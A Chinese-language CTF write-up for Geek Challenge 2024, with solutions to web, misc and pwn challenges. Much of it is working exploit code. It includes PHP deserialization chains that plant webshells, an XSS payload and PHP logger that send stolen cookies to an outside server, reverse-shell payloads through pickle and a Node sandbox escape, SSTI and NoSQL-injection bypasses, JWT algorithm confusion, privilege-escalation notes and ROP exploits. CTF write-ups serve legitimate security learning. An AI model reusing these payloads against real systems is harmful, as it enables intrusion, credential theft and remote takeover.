极客大挑战2024wp
web 和misc 都没咋做出来,全靠pwn✌带飞
排名
密码学和re没做出几个,就不发了
web
ez_pop
源代码
<?php
Class SYC{
public $starven;
public function __call($name, $arguments){
if(preg_match('/%|iconv|UCS|UTF|rot|quoted|base|zlib|zip|read/i',$this->starven)){
die('no hack');
}
file_put_contents($this->starven,"<?php exit();".$this->starven);
}
}
Class lover{
public $J1rry;
public $meimeng;
public function __destruct(){
if(isset($this->J1rry)&&file_get_contents($this->J1rry)=='Welcome GeekChallenge 2024'){
echo "success";
$this->meimeng->source;
}
}
public function __invoke()
{
echo $this->meimeng;
}
}
Class Geek{
public $GSBP;
public function __get($name){
$Challenge = $this->GSBP;
return $Challenge();
}
public function __toString(){
$this->GSBP->Getflag();
return "Just do it";
}
}
if($_GET['data']){
if(preg_match("/meimeng/i",$_GET['data'])){
die("no hack");
}
unserialize($_GET['data']);
}else{
highlight_file(__FILE__);
}
pop 链子
lover::__destruct ->Geek::__get ->lover::__invoke ->Geek::toString ->SYC::__call
为了使链子正常运行,需要 把$lover->J1rry="data://text/plain,Welcome GeekChallenge 2024";
用伪协议控制file_get_contents的内容,对于meimong的初步过滤,用16进制绕过即可
然后是死亡exit的绕过,由于黑名单过滤的很全,这里就尝试strip_tags
写入htaccess,预包含,flag文件名也给了 就是flag相关文章:https://xz.aliyun.com/t/8163
exp
<?php
Class SYC{
public $starven;
}
Class lover{
public $J1rry;
public $meimeng;
public function __construct()
{
$this->J1rry="data://text/plain,Welcome GeekChallenge 2024";
}
}
Class Geek{
public $GSBP;
}
$a=new lover();
$a->meimeng=new Geek();
$a->meimeng->GSBP=new lover();
$a->meimeng->GSBP->meimeng=new Geek();
$a->meimeng->GSBP->meimeng->GSBP=new SYC();
$a->meimeng->GSBP->meimeng->GSBP->starven="php://filter/write=string.strip_tags/?>php_value auto_prepend_file /flag\n#/resource=.htaccess";
$exp=str_replace('s:7:"meimeng"','S:7:"\6d\65\69\6d\65\6e\67"',serialize($a));
echo urlencode($exp);
echo "\n";
发送一次写入,再刷新一次包含就可以看见flag
problem_on_my_web
访问/manager,提示要我传一个post参数url,然后give gift on cookie,感觉就是要打xss偷cookie
发送消息的地方填
<script>
img = new Image();
img.src='http:/ip/cookie.php?cookie='+document.cookie;
img.width = 0;
img.height = 0;
</script>
vps上放一个cookie.php
<?php
$cookie = $_GET['cookie'];
$ip = getenv('REMOTE_ADDR');
$time = date('Y-m-d g:i:s');
$referer = getenv('HTTP_REFERER');
$fp = fopen( 'cookie.txt', 'a');
fwrite($fp,"IP: ".$ip." │ Date And Time: ".$time." | Referer: ".$referer." | Cookie: ".$cookie.'|||');
fclose($fp);
?>
发送了上面的xss信息后,在manager路由传http://127.0.0.1即可,过一会即可在cookie.txt里看到flag
ez_http
根据要求一个个添加参数和http头即可
import requests
url="http://80-ede138cf-40a4-4102-a7eb-cc54a3144be8.challenge.ctfplus.cn/?welcome=geekchallenge2024"
cookies={ 'token':'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJTdGFydmVuIiwiYXVkIjoiQ3RmZXIiLCJpYXQiOjE3MzAwMTI2MzEsIm5iZiI6MTczMDAxMjYzMSwiZXhwIjoxNzMwMDE5ODMxLCJ1c2VybmFtZSI6IlN0YXJ2ZW4iLCJwYXNzd29yZCI6InF3ZXJ0MTIzNDU2IiwiaGFzRmxhZyI6dHJ1ZX0.rndv-ew4zbtQJZXgR_Quqa-xR-E6p1WXindKnLKbO4k'}
header={
'X-Real-IP':'127.0.0.1',
'Referer':'https://www.sycsec.com',
'STARVEN':'I_Want_Flag',
}
data={'username':'Starven','password':'qwert123456'}
res=requests.post(url=url,data=data,headers=header,cookies=cookies)
print(res.text)
Can you pass me
ssti 绕过,{%%}绕{{, attr绕[],关键词的过滤全用八进制编码,然后发现不能直接查看flag,用base64 /flag带出来
{%print(lipsum|attr('\137\137\147\154\157\142\141\154\163\137\137')|attr('\137\137\147\145\164\151\164\145\155\137\137')('\157\163')|attr('\160\157\160\145\156')('\142\141\163\145\066\064\040\057\146\154\141\147')|attr('\162\145\141\144')())%}
ez_ssrf
www.zip泄露源码
h4d33333.php
<?php
error_reporting(0);
if(!isset($_POST['user'])){
$user="stranger";
}else{
$user=$_POST['user'];
}
if (isset($_GET['location'])) {
$location=$_GET['location'];
$client=new SoapClient(null,array(
"location"=>$location,
"uri"=>"hahaha",
"login"=>"guest",
"password"=>"gueeeeest!!!!",
"user_agent"=>$user."'s Chrome"));
$client->calculator();
echo file_get_contents("result");
}else{
echo "Please give me a location";
}
calculator.php
<?php
$admin="aaaaaaaaaaaadmin";
$adminpass="i_want_to_getI00_inMyT3st";
function check($auth) {
global $admin,$adminpass;
$auth = str_replace('Basic ', '', $auth);
$auth = base64_decode($auth);
list($username, $password) = explode(':', $auth);
echo $username."<br>".$password;
if($username===$admin && $password===$adminpass) {
return 1;
}else{
return 2;
}
}
if($_SERVER['REMOTE_ADDR']!=="127.0.0.1"){
exit("Hacker");
}
$expression = $_POST['expression'];
$auth=$_SERVER['HTTP_AUTHORIZATION'];
if(isset($auth)){
if (check($auth)===2) {
if(!preg_match('/^[0-9+\-*\/]+$/', $expression)) {
die("Invalid expression");
}else{
$result=eval("return $expression;");
file_put_contents("result",$result);
}
}else{
$result=eval("return $expression;");
file_put_contents("result",$result);
}
}else{
exit("Hacker");
}
calculator.php 需要本地访问,h4d33333.php的SOAPcilient 对象可以触发__call
去访问,文件头信息可控造成CRLF注入,http头部的信息和请求参数都可以控制,控制一下认证信息满足要求,即可绕过白名单执行eval
crlf exp
from urllib.parse import quote
payload="expression=system('cat /flag');&a="
print(quote(f"""test\r\nAUTHORIZATION:Basic YWFhYWFhYWFhYWFhZG1pbjppX3dhbnRfdG9fZ2V0STAwX2luTXlUM3N01\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: {len(payload)}\r\n\r\n{payload}"""))
然后发送了但是返回的东西看不了,还是直接访问/result得到的flag
not_just_pop
源码
<?php
highlight_file(__FILE__);
ini_get('open_basedir');
class lhRaMK7{
public $Do;
public $You;
public $love;
public $web;
public function __invoke()
{
echo "我勒个豆,看来你有点实力,那接下来该怎么拿到flag呢?"."<br>";
eval($this->web);
}
public function __wakeup()
{
$this->web=$this->love;
}
public function __destruct()
{
die($this->You->execurise=$this->Do);
}
}
class Parar{
private $execurise;
public $lead;
public $hansome;
public function __set($name,$value)
{
echo $this->lead;
}
public function __get($args)
{
if(is_readable("/flag")){
echo file_get_contents("/flag");
}
else{
echo "还想直接读flag,洗洗睡吧,rce去"."<br>";
if ($this->execurise=="man!") {
echo "居然没坠机"."<br>";
if(isset($this->hansome->lover)){
phpinfo();
}
}
else{
echo($this->execurise);
echo "你也想被肘吗"."<br>";
}
}
}
}
class Starven{
public $girl;
public $friend;
public function __toString()
{
return "试试所想的呗,说不定成功了"."<br>".$this->girl->abc;
}
public function __call($args1,$args2)
{
$func=$this->friend;
$func();
}
}
class SYC{
private $lover;
public $forever;
public function __isset($args){
return $this->forever->nononon();
}
}
$Syclover=$_GET['Syclover'];
if (isset($Syclover)) {
unserialize(base64_decode($Syclover));
throw new Exception("None");
}else{
echo("怎么不给我呢,是不喜欢吗?");
}
稍微复杂了一点的pop
lhRaMK7::__destruct -> Parar::__set -> Starven::__toString -> Parar::__get ->SYC::__isset ->Starven::__call ->lhRaMK7::__invoke
从代码中就可以看出来,flag无法直接读取,感觉要提权,为了顺利反序列化,还要删掉最后的}触发fast-desruct绕过异常,题目php版本还是7.2,直接全部属性改为public
到eval的时候,发现system用不了,phpinfo发现有disable_function,写个马,然后蚁剑插件绕过,exp
<?php
// highlight_file(__FILE__);
// ini_get('open_basedir');
class lhRaMK7{
public $Do;
public $You;
public $love;
public $web;
public function __construct()
{
$this->You=new Parar();
}
}
class Parar{
public $execurise;
public $lead;
public $hansome;
public function __construct()
{
$this->lead=new Starven();
}
}
class Starven{
public $girl;
public $friend;
}
class SYC{
public $lover;
public $forever;
}
$a=new lhRaMK7();
$a->You=new Parar();
$a->You->lead=new Starven();
$a->You->lead->girl= new Parar();
$a->You->lead->girl->execurise='man!';
$a->You->lead->girl->hansome=new SYC();
$a->You->lead->girl->hansome->forever=new Starven();
$a->You->lead->girl->hansome->forever->friend=new lhRaMK7();
// $a->You->lead->girl->hansome->forever->friend->love='phpinfo();';
$a->You->lead->girl->hansome->forever->friend->love='$a="PD9waHAgZXZhbCgkX1BPU1RbY21kXSk7Pz4=";file_put_contents("shell.php",base64_decode($a));';
$exp=substr(serialize($a),0,-1);
echo base64_encode($exp);
提权,用sudo -l 有env,直接env提权即可
nosanbox
一开始要登陆,提示manggodb,上网就找到了一个nosql注入的payload ,类似mysql的万能密码
{"username":{"$ne":1},"password": {"$ne":1}}
nodejs vm沙箱逃逸,比较简单,网上就有很多文章,不能用引号,于是全用模板字符串,还能绕黑名单
本来的payload是利用报错带出命令结果,这里不回显报错信息,于是 写个 sh,然后反弹shell,exp
一次编码会有+,所以这里编码两次
throw new Proxy({}, {
get: function(){
const c = arguments.callee.caller;
const p = (c.constructor.constructor(`${`return pro${`cess`}`}`))();
const obj = p.mainModule.require(`${`child_p${`ro`}cess`}`);
const ex = Object.getOwnPropertyDescriptor(obj,`${`${`exe`}cSync`}` );
return ex.value(`${`echo WW1GemFDQXRZeUFuWW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4NExqRXpOQzR5TVRVdU1qVXdMekV5TXpRZ01ENG1NU2M9 |base64 -d |base64 -d > 1.sh`}`).toString();
}
})
然后sh 1.sh即可
baby_upload
发现上传的文件名可控,一开始尝试s.php/啥的,会报错,后面尝试双写就绕过了 s.php.php
源代码用strstr函数获取后缀,难怪可以
ez_include
require_once绕过 文章:https://www.anquanke.com/post/id/213235
payload
?file=php://filter/read=convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/starven_secret.php
然后来到levelllll2.php
<?php
error_reporting(0);
highlight_file(__FILE__);
if (isset($_GET ["syc"])){
$file = $_GET ["syc"];
$hint = "register_argc_argv = On";
if (preg_match("/config|create|filter|download|phar|log|sess|-c|-d|%|data/i", $file)) {
die("hint都给的这么明显了还不会做?");
}
if(substr($_SERVER['REQUEST_URI'], -4) === '.php'){
include $file;
}
}
提示很明显了,打pearcmd包含,file变量不会用黑名单里的东西,无伤大雅,payload
?+config-create+/&syc=/usr/local/lib/php/pearcmd.php&/<?=eval($_GET[1]);?>+/var/www/html/shell.php
然后查看flag即可,根目录没有,在/proc/self/environ
php不比java差
源码
<?php
highlight_file(__FILE__);
error_reporting(0);
include "secret.php";
class Challenge{
public $file;
public function Sink()
{
echo "<br>!!!A GREAT STEP!!!<br>";
echo "Is there any file?<br>";
if(file_exists($this->file)){
global $FLAG;
echo $FLAG;
}
}
}
class Geek{
public $a;
public $b;
public function __unserialize(array $data): void
{
$change=$_GET["change"];
$FUNC=$change($data);
$FUNC();
}
}
class Syclover{
public $Where;
public $IS;
public $Starven;
public $Girlfriend;
public function __toString()
{
echo "__toString is called<br>";
$eee=new $this->Where($this->IS);
$fff=$this->Starven;
$eee->$fff($this->Girlfriend);
}
}
unserialize($_POST['data']);
考了好多pop链,这么喜欢pop吗
起点是__unserialize
,$data
里的键值对用来还原对象的属性,$change
可控,使用implode
,一个值设为
Syclover即可触发toString
,然后就卡了一会,再回去看题目发现提到了java,java反序列化常用反射,经过搜索发现这里可以反射调用system,直接看flag看不了,那就写马,发现要用file,suid提权,exp
<?php
error_reporting(0);
class Challenge{
public $file;
}
class Geek{
public $a;
public $b;
}
class Syclover{
public $Where;
public $IS;
public $Starven;
public $Girlfriend;
}
$a=new Geek();
$a->a=new Syclover();
$a->a->Where='ReflectionFunction';
$a->a->IS='system';
$a->a->Starven="invokeArgs";
$a->a->Girlfriend=array("echo '<?=@eval(\$_POST[cmd]);' > /var/www/html/shell.php");
echo urlencode(serialize($a));
ez_python
注册登录后,随便输入了点评论,就提示访问/starven_s3cret
,访问获得源码分析
import os
import secrets
from flask import Flask, request, render_template_string, make_response, render_template, send_file
import pickle
import base64
import black
app = Flask(__name__)
#To Ctfer:给你源码只是给你漏洞点的hint,怎么绕?black.py黑盒,唉无意义
@app.route('/')
def index():
return render_template_string(open('templates/index.html').read())
@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
usname = request.form['username']
passwd = request.form['password']
if usname and passwd:
heart_cookie = secrets.token_hex(32)
response = make_response(f"Registered successfully with username: {usname} <br> Now you can go to /login to heal starven's heart")
response.set_cookie('heart', heart_cookie)
return response
return render_template('register.html')
@app.route('/login', methods=['GET', 'POST'])
def login():
heart_cookie = request.cookies.get('heart')
if not heart_cookie:
return render_template('warning.html')
if request.method == 'POST' and request.cookies.get('heart') == heart_cookie:
statement = request.form['statement']
try:
heal_state = base64.b64decode(statement)
print(heal_state)
for i in black.blacklist:
if i in heal_state:
return render_template('waf.html')
pickle.loads(heal_state)
res = make_response(f"Congratulations! You accomplished the first step of healing Starven's broken heart!")
flag = os.getenv("GEEK_FLAG") or os.system("cat /flag")
os.system("echo " + flag + " > /flag")
return res
except Exception as e:
print( e)
pass
return "Error!!!! give you hint: maybe you can view /starven_s3cret"
return render_template('login.html')
@app.route('/monologue',methods=['GET','POST'])
def joker():
return render_template('joker.html')
@app.route('/starven_s3cret', methods=['GET', 'POST'])
def secret():
return send_file(__file__,as_attachment=True)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000, debug=False)
可以看到在login路由有个反序列化,有个waf不知道,尝试反弹shell 就触发了waf,说要换个思路,那就内存马,用最常用的还不行,笔记里往下翻了几个才找到能用的
payload:
import pickle
import base64
opcode=b'''cbuiltins
exec
(S"app.backup_func=app.view_functions['index'];app.view_functions['index']=lambda : __import__('os').popen(request.args.get('cmd')).read() if 'cmd' in request.args.keys() is not None else app.backup_func()"
tR.'''
print(base64.b64encode(opcode).decode())
然后就在根路由传cmd参数命令即可,看了看waf
blacklist = [b'netcat', b'bash', b'var', b'etc', b'socat', b'telnet', b'python', b'perl', b'nc',b'before_request',b'after_request',b'teardown_request',b'teardown',b'context_processor',b'template_filter',b'socket',b'sh',b'mkfifo',b'ncat'b'curl',b'wget',b'php',b'ruby',b'lua',b'java',b'cpp',b'gcc',b'g++',b'connect']
rce_me
考察php的一些性质,按要求传参即可
-
直接post start=start now
-
md5("Geekchallenge2024_bmKtL")
就是经典0e,找一个数字sha1后0e的 -
有个
foreach ($_GET as $key => $value) { $$key = $value; }
明显的变量覆盖,后面的在get传对应参数名
intval漏洞:php<7.2.25时,intval函数不能正常解析字符串形式的科学表达式,会返回底数,传year=1e4,intval(
$year
)解析字符串'1e4'
返回1,过第一个条件,后面的是$num+1
,数字和字符串相加,php会把字符串转为数字再相加,所以这是就会被解析为10000,从而过第二个条件 -
purpose传数组就行,preg_match无法处理数组。最后就可以rce了
payload
?year=1e4&purpose[]=rce&code=system('cat /flag');
post: start=start now&_[2024.geekchallenge.ctf=10932435112
jwt_pickle
感觉考点都在web,并没涉及啥密码学知识
漏洞点在jwt的签名和检验的算法不一致,encode是RS256,decode确是RS256和HS256都可以
RS256是非对称加密,HS256是对称加密,我们可以通过工具rsa2sign.py,得到公钥,再写脚本把payload用HS256加密一次,密钥就用得到的公钥(检验时允许HS256)
introduction 有反序列化漏洞,直接反弹shell
脚本
import jwt
import base64
# 修改了源码方可成功 site-packages/jwt/algorithms.py
# 注释掉抛出异常的部分
public ="""-----BEGIN RSA PUBLIC KEY-----
MIIBCgKCAQEAs2aM9wXti4Lm3cBNsJ6edBuKsRaXxW+JHIxDcuVRbAFWt7XLqBMg
NIWLeZ5O6rVkqz1SaD2aEHvyaxZMSN7vXHlgn5keVtTJRbDMl+dzP32F461rGa1K
DSvfac512Rl1Dl+quq5RmZotsjDWV4xEGolgBVJoFv+/M8X/WO+zl9MMF7ZV22Fd
PsFjq4bX7koU3yadPDBRVNcAjuYEy4OybCOlhnt4zeg/NdK6Rxs763iBA5/+ZusR
UAL9KmQ1wV7NDPtUjb3yBwv/3bHR+j6drlW5cc/f6vJxv/xsA5WpgkLDhUCkH8A0
x9dvqeAXvlIFaJXp3Bk01jrqwWwe+oJlpQIDAQAB
-----END RSA PUBLIC KEY-----
"""
opcode=b'''cos
system
(S'bash -c "bash -i >& /dev/tcp/ip/port 0>&1"'
tR.'''
opcode=base64.b64encode(opcode).decode()
payload={"username": "hello",'password':'e10adc3949ba59abbe56e057f20f883e',"is_admin": True,'introduction':opcode}
print(jwt.encode(payload, key=public, algorithm='HS256'))
SecretInDrivingSchool
源码发现后台地址,访问后有提示密码是三位字母+@chenxing,写了个字典就开始爆,爆了半天发现就是SYC
进入后台有个编辑广告的地方,里面是php代码,改为rce的就出了,用编码绕过waf
"\x73\x79\x73\x74\x65\x6d"("\x63\x61\x74\x20\x2f\x66\x6c\x61\x67");
system('cat /flag');
100%的⚪
看js代码就有了,base64解码
Misc
签到
关注公众号,发送得flag
Truth of Word
附件是一个word文档,
全选 然后字体变红就能看到第一段flag,
复制一份后缀改为zip解压,发现有个bin文件,是宏,返回docx查看宏得到第二段flag
查看解压出来的压缩包中的media文件夹,在一张图片中发现第三段flag
SYC{W0rd_H@5@_Ama1n9_StrUCtu3e!}
Welcome_jail
懒得思考了,直接走继承链,用chr绕过引号的过滤
[i for i in [].__class__.__mro__[-1].__subclasses__() if i.__name__ == (chr(95)+chr(119)+chr(114)+chr(97)+chr(112)+chr(95)+chr(99)+chr(108)+chr(111)+chr(115)+chr(101))][0].__init__.__globals__[chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109)](chr(99)+chr(97)+chr(116)+chr(32)+chr(47)+chr(104)+chr(111)+chr(109)+chr(101)+chr(47)+chr(99)+chr(116)+chr(102)+chr(47)+chr(102)+chr(108)+chr(97)+chr(103))
cimbar
上网搜了一下i,cimbar是用摄像头来传文件的一种技术,然后找到了各个字符对应的4位二进制的对应关系图,https://aigcdaily.cn/news/b24u20oz8s9djnd/
一个个对着翻译即可,然后二进制转ascii就行
舔狗的觉醒
附件解压是个txt,里面一串16进制,开头05 b4 30,一看就是两两逆序,写个脚本
with open('byte-revenge.txt','r') as file:
f=file.read().replace(' ','').replace("\n","")
reversed_pairs = ''.join([f[i:i+2][::-1] for i in range(0, len(f), 2)])
bin_data=bytes.fromhex(reversed_pairs)
with open('a.zip','wb') as f:
f.write(bin_data)
解压得到的压缩包,有个flag.pdf,提示
感觉是图片的嵌套,上网找了网站https://pdfcandy.com/来提取pdf所有图片,就有了flag
dosomemath
给了源码,那个算式本地跑一下是9872,但是不能用数字,看那个白名单就知道要用一些魔术方法来表示数字,
打开vscode,输入().__
对着自动补全出的魔术方法一个个看,就可以看到__ge__
,尝试了一下,就发现
().__ge__(())+().__ge__(())=2
就可以通过().__ge__(())
来构造任意数字,9872分解为((16)*(((20)*(30))+(17)))
=,一个个+肯定会太长的
payload
payload="().__ge__(())"
def get_payload(num):
tmp=[payload]*num
res='+'.join(tmp)
return res
#(16)*(((20)*(30))+(17))
target=f'({get_payload(16)})*((({get_payload(20)})*({get_payload(30)}))+({get_payload(17)}))'
print(target)
print(eval(target))
ez_jpg
给了个txt,一串很长的16进制,翻到最后是8DFF,明显是jpg的文件头逆序,找ai写个脚本逆序下就行
得到一个有点乱的图片,然后修改宽高就能看到一点flag,用ps修一下更好看,但是发现也可以直接看
ez_pcap_1
直接在smb2流量中,找找就行,在最后的那个读取文件的流量就有,太菜了2做不出来
雪
解压附件得到图片和white.txt,图片名字提到watermarkh,就是盲水印,用工具提取到Th1si4st8eK3y
根据题目名另一个snow隐写,密钥就是Th1si4st8eK3y
SYC{Ma1by_y0u_w1ll_l1k3_sn0w}
hard_jail
show看了看源码,这个waf,预期解感觉是要走内置函数的装饰器,但是不咋会,看到是white true 输入的,直接尝试输入black=[]之后,waf就没了,就可以直接命令执行了
乌龟
一听就感觉是无线电,sstv解出来的图片上有密码,deepsound用这个密码就解出了奇怪的东西,问gpt说是logo语言的绘图指令,找个网站把图画出来就有了flag
PWN
买黑吗喽了吗
View里很明显有一个写str1的操作,然后就在思考怎么办让Balance大于0x100,但是实际上并不难,新手随便买买都能触发(看不看得出来另说),触发后就能够泄漏程序基地址,而后就可以正常ROP
from pwn import *
io = process("./syscall")
\# io = remote("nc1.ctfplus.cn", 31851)
context.terminal = ['tmux', 'new-window']
context.log_level = 'debug'
context.arch = 'amd64'
elf = ELF("./syscall")
libc = elf.libc
for i in range(8):
io.recv()
io.sendline(b'1')
io.recv()
io.sendline(b'1')
for i in range(6):
io.recv()
io.sendline(b'1')
io.recv()
io.sendline(b'2')
\# gdb.attach(io)
io.recv()
io.sendline(b'2')
\# io.sendline(b'2')
io.send(b'%p')
\# io.sendline(b'2')
io.recvuntil(b'There are 8 commodity_1 and 6 commodity_2 in your pocket.\nAnd your Balance : 0x')
elfbase = int(io.recv(14), 16) - 0x4090
log.info("elfbase: 0x%x" % elfbase)
pop_rdi = elfbase + 0x00000000000011f1
log.info("pop_rdi: 0x%x" % pop_rdi)
ret = elfbase + 0x000000000000101a
log.info("ret: 0x%x" % ret)
io.sendline(b'3')
io.recvuntil(b'Tell me your feedback:')
payload = b'A'*0x58 + p64(pop_rdi) + p64(elfbase + elf.got['puts']) + p64(elfbase + elf.plt['puts']) + p64(elfbase + elf.sym['main'])
io.sendline(payload)
io.recvuntil(b'Thanks for your feedback!We`ll do it better!\n')
puts_addr = u64(io.recv(6).ljust(8, b'\x00'))
log.info("puts_addr: 0x%x" % puts_addr)
libcbase = puts_addr - libc.sym['puts']
log.info("libcbase: 0x%x" % libcbase)
system_addr = libcbase + libc.sym['system']
log.info("system_addr: 0x%x" % system_addr)
str_bin_sh = libcbase + next(libc.search(b'/bin/sh'))
log.info("str_bin_sh: 0x%x" % str_bin_sh)
io.sendline(b'3')
io.recvuntil(b'Tell me your feedback:')
payload = b'A'*0x58 + p64(ret) + p64(pop_rdi) + p64(str_bin_sh) + p64(system_addr)
gdb.attach(io)
io.sendline(payload)
io.interactive()
00000
之前打另一个比赛刚遇见过打/dev/urandom里的所谓真随机,确实是不能爆破,Geek没有给爆破机会,算得上对新手友好,直接一直给\x00,就可以有机率过strcmp,然后直接看flag
from pwn import *
\# io = process("./main")
\# io = remote("nc1.ctfplus.cn", 27071)
context.terminal = ['tmux', 'new-window']
context.log_level = 'debug'
context.arch = 'amd64'
while True:
\# io = process("./main")
io = remote("nc1.ctfplus.cn", 41863)
io.recv()
io.recv()
try:
io.sendline(b'\x00')
take = io.recv(timeout=1)
if b'The password is wrong and you cannot access the secret files' not in take:
io.interactive()
else:
io.close()
continue
except:
io.interactive()
over_flow??
蛮有意思,如果对照一下save_to_file和read_from_file再加一点调试就会发现实际上rdi会变成我们给的参数,而read_from_file多溢出的一位会成为rax,而后会调用syscall,所以控参数和系统调用直接写在一个payload就行了(来自一个看到溢出发现就报错的敏感,差点觉得又是啥没学过的新东西要补[大哭])
from pwn import *
\# io = process(['./ld-2.??.so','./'], env = {'LD_PRELOAD' : './libc-2.??.so'})
io = process("./over_data")
\# io = remote('nc1.ctfplus.cn', 33092)
elf = ELF("./over_data")
\# libc = ELF("./libc-2.??.so")
libc = elf.libc
context(arch = 'amd64', os='linux', terminal=['tmux', 'new-window'])
context.log_level = 'debug'
dbg = lambda: (gdb.attach(io),pause())
lg = lambda n,s: log.info('\033[1;1;20m%s: 0x%x <--\033[0m\033[1;3;20m %s \033[0m' % (str(n), eval(str(s)), s))
io.recvuntil(b'please input your choice\n')
io.sendline(b'2')
io.recvuntil(b'please input file name')
gdb.attach(io)
io.send(b'/bin/sh\x00\x3b')
io.interactive()
Black_Myth_Wukong
snprintf把格式化丢脸上了,直接泄漏
然后试过直接正常用system rop,但是很可惜调试会发现偏移不确定,懒得调试,直接让one_gadget填满了
from pwn import *
\# io = process("./main")
io = remote("nc1.ctfplus.cn", 29311)
elf = ELF("./main")
libc = elf.libc
context.terminal = ['tmux','new-window']
context.log_level = 'debug'
io.recvuntil(b'Please enter any key to enter the game...')
\# io.send(b'KKKKK')
io.sendline()
\# gdb.attach(io)
io.recvuntil(b'>>')
io.sendline(b'31')
io.recvuntil(b'You defeated Guangzhi, and you obtained Guangzhi\'s weapon. Please accept it: ')
libc_start_main = int(io.recv(12), 16) - 231
log.info("libc_start_main: " + hex(libc_start_main))
libcbase = libc_start_main - libc.symbols['__libc_start_main']
log.info("libcbase: " + hex(libcbase))
system = libcbase + libc.symbols['system']
log.info("system: " + hex(system))
str_bin_sh = libcbase + next(libc.search(b'/bin/sh'))
log.info("str_bin_sh: " + hex(str_bin_sh))
pop_rdi = libcbase + 0x000000000002164f
log.info("pop_rdi: " + hex(pop_rdi))
ret = libcbase + 0x00000000000008aa
log.info("ret: " + hex(ret))
onegadget = libcbase + 0x4f29e
log.info("onegadget: " + hex(onegadget))
\# gdb.attach(io)
\# payload = b'aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaab'
\# payload = b'A'*0xd8 + p64(ret) + p64(pop_rdi) + p64(str_bin_sh) + p64(system)
payload = p64(onegadget)*2*16
print(hex(len(payload)))
io.recvuntil(b'>>')
io.sendline(str(len(payload)).encode())
\# payload = payload.ljust(256, b'A')
io.sendline(payload)
io.interactive()
我的空调呢?
第一反应还以为这个菜单是个堆题,甚至堆题的模板都写好了。。。
然后才发现连malloc和free都没有,想着这下完了,又要搓好久哪的指针残留,直接用完泄漏就想着肯定得看看程序具体指针了
结果代码太乱了,懒得逆向,直接一顿调试,发现分配的时候没有负数检查,再一看上面的got表,直接心领神会,直接写memset为system,在delete里memset一个/bin/sh的块就行了
from pwn import *
\# io = process(['./ld-2.??.so','./'], env = {'LD_PRELOAD' : './libc-2.??.so'})
\# io = process("./pwn")
io = remote('nc1.ctfplus.cn', 34033)
elf = ELF("./pwn")
\# libc = ELF("./libc-2.??.so")
libc = elf.libc
context(arch = 'amd64', os='linux', terminal=['tmux', 'new-window'])
context.log_level = 'debug'
dbg = lambda: (gdb.attach(io),pause())
lg = lambda n,s: log.info('\033[1;1;20m%s: 0x%x <--\033[0m\033[1;3;20m %s \033[0m' % (str(n), eval(str(s)), s))
def choose(choice):
io.sendlineafter(b'<Your chioce>:', str(choice).encode())
def alloc(beforecontent, aftercontent):
\# def alloc(content):
choose(1)
\# io.sendlineafter(b'', str(id).encode())
\# io.sendlineafter(b'', str(size).encode())
\# io.sendlineafter(b'', str(len(content)).encode())
io.sendafter(b'Your name:', beforecontent)
io.sendafter(b'Introduce:', aftercontent)
def delete(id):
choose(3)
io.sendlineafter(b'Index:', str(id).encode())
def edit(id, content):
choose(4)
io.sendlineafter(b'Index:', str(id).encode())
io.sendafter(b'message:', content)
def show(id):
choose(2)
io.sendlineafter(b'Index:', str(id).encode())
choose(5)
io.recvuntil(b'Please input an address.(such as 0xffff)')
\# gdb.attach(io)
io.sendline(b'0x404018')
io.recvuntil(b'massege:')
puts_addr = u64(io.recv(6).ljust(8, b'\x00'))
lg('puts_addr', puts_addr)
libcbase = puts_addr - libc.symbols['puts']
lg('libcbase', libcbase)
system = libcbase + libc.symbols['system']
lg('system', system)
str_bin_sh = libcbase + next(libc.search(b'/bin/sh'))
lg('str_bin_sh', str_bin_sh)
set_buf = libcbase + libc.symbols['setbuf']
lg('set_buf', set_buf)
printf = libcbase + libc.symbols['printf']
lg('printf', printf)
memset = libcbase + libc.symbols['memset']
lg('memset', memset)
read = libcbase + libc.symbols['read']
lg('read', read)
\# for i in range(0x10):
\# alloc(str(i).encode(), str(i).encode())
alloc(b'/bin/sh\x00', b'0')
alloc(b'1', b'1')
\# gdb.attach(io, 'b *0x4017e8')
edit(-4, p64(set_buf) + p64(printf) + p64(system))
delete(0)
io.interactive()
\# dbg()
FindG???t
有了over_flow???的经验,加上之前就听过可以在libc_start_main附近找0x0f05当syscall的手法,就直接加了个爆破,甚至懒得问ai,写了个0x00~0xff遍历[捂脸]
from pwn import *
\# io = process("./pwn")
elf = ELF("./pwn")
libc = elf.libc
context.terminal = ["tmux", "new-window"]
context.log_level = "debug"
\# gdb.attach(io)
